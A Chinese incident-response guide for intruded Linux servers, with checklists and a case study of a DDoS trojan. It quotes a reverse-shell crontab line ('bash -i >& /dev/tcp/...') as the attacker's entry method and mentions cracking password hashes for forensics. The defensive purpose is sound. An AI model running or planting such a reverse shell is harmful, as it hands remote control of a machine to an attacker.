年关将至,服务器被入侵了怎么办?

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介:

作者介绍

林伟壕网络安全DevOps新司机,先后在中国电信和网易游戏从事数据网络、网络安全和游戏运维工作。对Linux运维、虚拟化和网络安全防护等研究颇多,目前专注于网络安全自动化检测、防御系统构建。

 

导读:

遇到服务器被黑,很多人会采用拔网线、封iptables或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。

 

下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近5年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教。

 

图1将服务器安全应急响应流程分为发现安全事件(核实)、现场保护、服务器保护、影响范围评估、在线分析、数据备份、深入分析、事件报告整理等8个环节。接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

 

处理思路

 

一、核实信息(运维/安全人员)

 

根据安全事件通知源的不同,分为两种:

 

  1. 外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

  2. 自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

 

二、现场保护(运维)

 

我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。

 

  • 保存现场环境(截图)

 

相关信息采集命令如下:

进程信息:ps axu

网络信息:netstat –a

网络+进程:lsof / netstat -p

 

  • 攻击者登陆情况(截图)

 

相关信息采集命令如下:

查看当前登录用户:w 或 who -a

 

三、服务器保护(运维/机房)

 

这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。

 

核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快歉意业务,立即下线机器。

 

如果不能立即处理,应当通过配置网络ACL等方式,封掉该服务器对网络的双向连接。

 

四、影响范围评估(运维/开发)

 

一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。

 

影响访问评估一般从下面几点入手来:

 

  • 具体业务架构:web(php/java, webserver), proxy, db等。

  • IP及所处区域拓扑等:VLAN内服务器和应用情况;

  • 确定同一网络下面服务器之间的访问:可以互相登陆,是否需要key或者是密码登录。

 

由此确定检查影响范围,确认所有受到影响的网段和机器。

 

五、在线分析(安全人员/运维)

 

这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰,之前笔者遇到一个类似的问题,就是运维排查时敲错了iptables的命令,将iptables -L敲成iptables -i导致iptables-save时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。

 

1、所有用户History日志检测

 

  • 关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh);

  • 检查是否存在异常用户;

  • 检查最近添加的用户,是否有不知名用户或不规范提权;

  • 找出root权限的用户;

 

可以执行以下命令检查:

 

grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'

 

2、反连木马判断

 

  • netstat –a;

  • 注意非正常端口的外网IP;

 

3、可疑进程判断

 

  • 判断是否为木马      ps –aux

  • 重点关注文件(隐藏文件), python脚本,perl脚本,shell脚本(bash/sh/zsh);

  • 使用which,whereis,find定位

 

4、Crontab检测

 

不要用crontab –l查看crontab(绕过检测),也有通过写crontab配置文件反弹shell的,笔者接触过几次,一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

 

5、系统日志检测

 

  • 检查sshd服务配置文件/etc/ssh/sshd_config和系统认证日志auth、message,判断是否为口令破解攻击;

  • /etc/ssh/sshd_config文件确认认证方式;

  • 确认日志是否被删除或者清理过的可能(大小判断);

  • last/lastb可以作为辅助,不过可能不准确;

 

6、NHIDS正常运行判断

 

  • 是否安装:ls /etc/ossec

  • 是否运行正常:ps axu |grep nhids  三个nhids进程则表示正常

 

7、其他攻击分析

 

抓取网络数据包并进行分析,判断是否为拒绝服务攻击,这里需要注意,一定要使用-w参数,这样才能保存成pcap格式导入到wireshark,这样分析起来会事半功倍。

 

tcpdump -w tcpdump.log

 

六、安全相关的关键文件和数据备份(运维)

 

可以同步进行,使用sftp/rsync等将日志上传到安全的服务器。

 

  1. 打包系统日志

    参考:$ tar -jcvf syslog.tar.bz2 /var/log

  2. 打包web日志:access log

  3. 打包history日志(所有用户),参考:

    $ cp /home/user/。history user_history

  4. 打包crontab记录

  5. 打包密码文件:/etc/passwd, /etc/shadow

  6. 打包可疑文件、后门、shell信息

 

七、深入分析(安全人员

 

初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从webshell、开放端口服务等方向顺藤摸瓜。

 

1、Webshell入侵

 

  • 使用webshell_check.py脚本检测web目录;

    $ python webshell_check.py /var/www/ >result.txt

  • 查找web目录下所有nobody的文件,人工分析:

    $ find /var/www –user nobody >nobody.txt

  • 如果能确定入侵时间,可以使用find查找最近时间段内变化的文件;

    $ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"

    $ find / -ctime/-mtime 8

 

2、利用Web漏洞直接反连shell

 

分析access.log

 

  • 缩小日志范围:时间,异常IP提取

  • 攻击行为提取:常见的攻击exp识别

 

3、系统弱口令入侵

 

认证相关日志auth/syslog/message排查:

 

  • 爆破行为定位和IP提取;

  • 爆破是否成功确定:有爆破行为IP是否有accept记录。

 

如果日志已经被清理,使用工具(比如John the Ripper)爆破/etc/passwd,/etc/shadow。

 

4、其他入侵

 

其他服务器跳板到本机。

 

5、后续行为分析

 

  • History日志:提权、增加后门,以及是否被清理。

  • Sniffer: 网卡混杂模式检测  ifconfig |grep –i proc

  • 内网扫描:网络nmap/扫描器,socks5代理

  • 确定是否有rootkit:rkhunter, chkrootkit, ps/netstat替换确认

 

6、后门清理排查

 

  • 根据时间点做关联分析:查找那个时间段的所有文件;

  • 一些小技巧:/tmp目录, ls –la,查看所有文件,注意隐藏的文件;

  • 根据用户做时间关联:比如nobody;

 

7、其他机器的关联操作

 

其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡)。

 

八、整理事件报告(安全人员)

 

事件报告应包含但不限于以下几个点:

 

  • 分析事件发生原因:事件为什么会发生的原因;

  • 分析整个攻击流程:时间点、操作;

  • 分析事件处理过程:整个事件处理过程总结是否有不足;

  • 分析事件预防:如何避免事情再次发生;

  • 总结:总结事件原因,改进处理过程,预防类似事件再次发生。

 

九、处理中的遇到的比较棘手的事情

 

日志和操作记录全被删了怎么办?

 

strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd硬盘数据再去还原出来。

 

系统账号密码都修改了,登不进去?

 

重启进单用户模式修改root密码,或者通过控制卡操作,或者直接还原系统。都搞不定就直接重装吧。

 

使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?

 

这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过md5sum对比本机二进制文件与正常机器的md5值是否一致,如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者alias为其他名称,避免为恶意程序再次替换。

 

被getshell怎么办?

 

  • 漏洞修复前,系统立即下线,用内网环境访问。

  • 上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传webshell。

  • 被getshell的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。

  • hosts文件中对应的host关系需要重新配置,攻击者可以配置hosts来访问测试环境。

  • 重装系统。

 

案例分析

 

上面讲了很多思路的东西,相信大家更想看看实际案例,下面介绍两个案例。

 

先讲一个别人处理的,基本处理过程就是:

 

通过外部端口扫描收集开放端口信息,然后获取到反弹shell信息,登陆机器发现关键命令已经被替换,后面查看history记录,发现疑似木马文件,通过简单逆向和进程查看发现了异常进程,从而锁定了入侵原因。具体内容可以查看:http://www.freebuf.com/articles/system/50728.html

 

再讲一个笔者实际处理过的,基本处理流程跟上面提到的思路大同小异。

 

整个事情处理经过大致如下:

 

1、运维发现一台私有云主机间歇性的对外发送高达800Mbps的流量,影响了同一个网段的其他机器。

 

2、安全人员接到通知后,先确认了机器属于备机,没有跑在线业务,于是通知运维封禁iptables限制外网访问。

 

3、运维为安全人员临时开通机器权限,安全人员通过history和ps找到的入侵记录和异常进程锁定了对外大量发包的应用程序,清理了恶意进程并删除恶意程序。

 

恶意进程如下,经过在网络搜索发现是一种DDOS木马,但没有明确的处理思路:

 

/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673

 

处理过程中,安全人员怀疑系统文件被替换:

 

通过对比该机器与正常机器上面的ps、netstat等程序的大小发现敏感程序已经被替换,而且mtime也被修改。

 

正常机器

du -sh /bin/ps

92K /bin/ps

du -sh /bin/netstat

120K    /bin/netstat

 

被入侵机器

du -sh /bin/netstat

2.0M    /bin/netstat

du -sh /bin/ps

2.0M    /bin/ps

 

将部分常用二进制文件修复后,发现异常进程被kill掉后仍重启了,于是安装杀毒软件clamav和rootkit hunter进行全盘扫描,从而确认了被感染的所有文件,将那些可以删除的文件删除后再次kill掉异常进程,则再没有重启的问题。

 

4、影响范围评估

 

由于该机器只是备机,上面没有敏感数据,于是信息泄露问题也就不存在了。

 

扫描同一网段机器端口开放情况、排查被入侵机器history是否有对外扫描或者入侵行为,为此还在该网段机器另外部署蜜罐进行监控。

 

5、深入分析入侵原因

 

通过被入侵机器所跑服务、iptables状态,确认是所跑服务支持远程命令执行,且机器iptables为空导致黑客通过往/etc/crontab中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行shell反弹,从而入侵了机器。

 

6、验证修复、机器下线重装

 

进行以上修复操作后,监控未发现再有异常,于是将机器下线重装。

 

7、完成安全事件处理报告

 

每次安全事件处理后,都应当整理成报告,不管是知识库的构建,还是统计分析安全态势,都是很有必要的。

 

这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上,安全防护跟运维思路一样,都是要防患于未然,这时候的审计或者响应其实很难避免危害的发生了,我们更希望通过安全意识教育、安全制度的建设,在问题显露端倪时即可消弭于无形。

原文发布时间为:2017-01-25

本文来自云栖社区合作伙伴DBAplus

相关实践学习
日志服务之使用Nginx模式采集日志
本文介绍如何通过日志服务控制台创建Nginx模式的Logtail配置快速采集Nginx日志并进行多维度分析。
相关文章
|
7月前
|
弹性计算 数据安全/隐私保护 Windows
雾锁王国搜索不到服务器怎么办?
搭建好了服务器,在雾锁王国里搜索不到服务器怎么解决?雾锁王国升级了补丁版本后,搜索不到服务器名称怎么办?
2021 1
雾锁王国搜索不到服务器怎么办?
|
7月前
|
弹性计算 安全 Linux
幻兽帕鲁创建不了服务器怎么办?用阿里云成功创建
幻兽帕鲁创建不了服务器怎么办?用阿里云啊,阿里云可以成功创建palworld服务器,如何自建幻兽帕鲁服务器?基于阿里云服务器搭建幻兽帕鲁palworld服务器教程来了,一看就懂系列。
103 0
|
弹性计算 Linux 测试技术
阿里云ECS网络不稳定、访问丢包、延迟高怎么办?
若ECS服务器经常出现网络不稳定、延迟高等情况,针对不同情况,下面列出一些常用的解决方法供大家参考: 一、Linux实例 可以尝试先用如winmtr之类的工具,查看是服务端的丢包还是网际路由线路的丢包。
|
6月前
|
运维 Linux Shell
运维:Linux服务器崩了怎么办,快来看看这份”急救命令指南“吧!
当服务器出现问题,如崩溃、内存耗尽或CPU使用率过高时,运维工程师需要保持冷静,并通过一系列Shell命令来诊断和解决。首先,检查是否有异常SSH登录活动,查看`/etc/passwd`和`.bash_history`文件,以及用户最近的登录信息。接着,监控网络连接和端口,使用`netstat`和`lsof`命令找出资源占用高的进程,并查看进程启动时间和详细信息。同时,排查可能的恶意文件,检查定时任务和服务配置以确保没有异常启动项。最后,分析系统日志,如`/var/log`目录下的各种日志文件,找出潜在问题。通过这些步骤,可以有效定位和解决服务器故障。
|
7月前
|
云安全 弹性计算 安全
Steam游戏服务器搭建好了,连接服务器错误,一直连不上服务器是什么问题,该怎么办?
Steam作为全球最大的数字游戏分发平台,拥有庞大的用户群体和丰富的游戏资源。然而,就像任何网络服务一样,Steam也偶尔会出现连接至服务器错误或连接问题,这可能导致用户无法顺利下载、更新游戏或进行在线游玩。本文将详细探讨这些连接问题的可能原因,并提供一系列有效的应对策略。
|
7月前
|
域名解析 缓存 安全
cdn服务器连接异常怎么办
当遇到CDN服务器连接异常时,可采取以下步骤排查:检查CDN配置,包括域名解析和防火墙设置;清空CDN缓存;测试网络连接;确认源服务器状态;更换CDN服务器;等待恢复;联系服务商;检查本地电脑安全;检查程序代码;保持更新和维护。具体解决步骤需根据实际情况调整。
573 0
|
7月前
|
缓存
服务器的丢包率高怎么办
服务器的丢包率高怎么办
95 0
|
7月前
|
存储 弹性计算 安全
阿里云活动内云服务器没有数据盘怎么办?购买后如何购买并挂载云盘?
在我们通过阿里云的活动来购买云服务器的时候,一般默认情况下只有系统盘,是没有数据盘的,但是很多用户处于实际使用需求和安全等方面的需求,通常都需要在购买之后单独再购买一块云盘作为数据盘挂载到云服务器上,本文以图文形式为大家展示阿里云活动内云服务器购买流程以及购买后如何购买并挂载云盘,适合新手用户参考。
阿里云活动内云服务器没有数据盘怎么办?购买后如何购买并挂载云盘?
|
7月前
|
安全 数据安全/隐私保护 数据中心
服务器中毒怎么办?企业数据安全需重视
互联网企业包括基础层、服务层和终端层,后者涉及网络服务、内容提供、应用服务等。随着业务发展,企业积累了大量数据,数据安全成为关注焦点,尤其是防范服务器中毒导致的数据泄露。中毒迹象包括文件消失、程序异常、启动项可疑、运行缓慢、杀毒软件失效、系统语言改变、蓝屏或黑屏、主页篡改、广告弹窗、程序图标篡改等。中毒原因可能源自源程序漏洞、FTP漏洞、不安全的上网行为和弱后台口令。处理中毒需断网、备份重要文件、运行杀毒软件、在DOS下杀毒、恢复系统并更改网络密码。预防措施包括打补丁、安装杀毒软件、定期扫描、谨慎点击链接和下载、不随意执行附件程序等。
|
测试技术 Android开发
Fiddler服务器响应数据有乱码,怎么办?一文讲清
Fiddler服务器响应数据有乱码,怎么办?一文讲清
246 0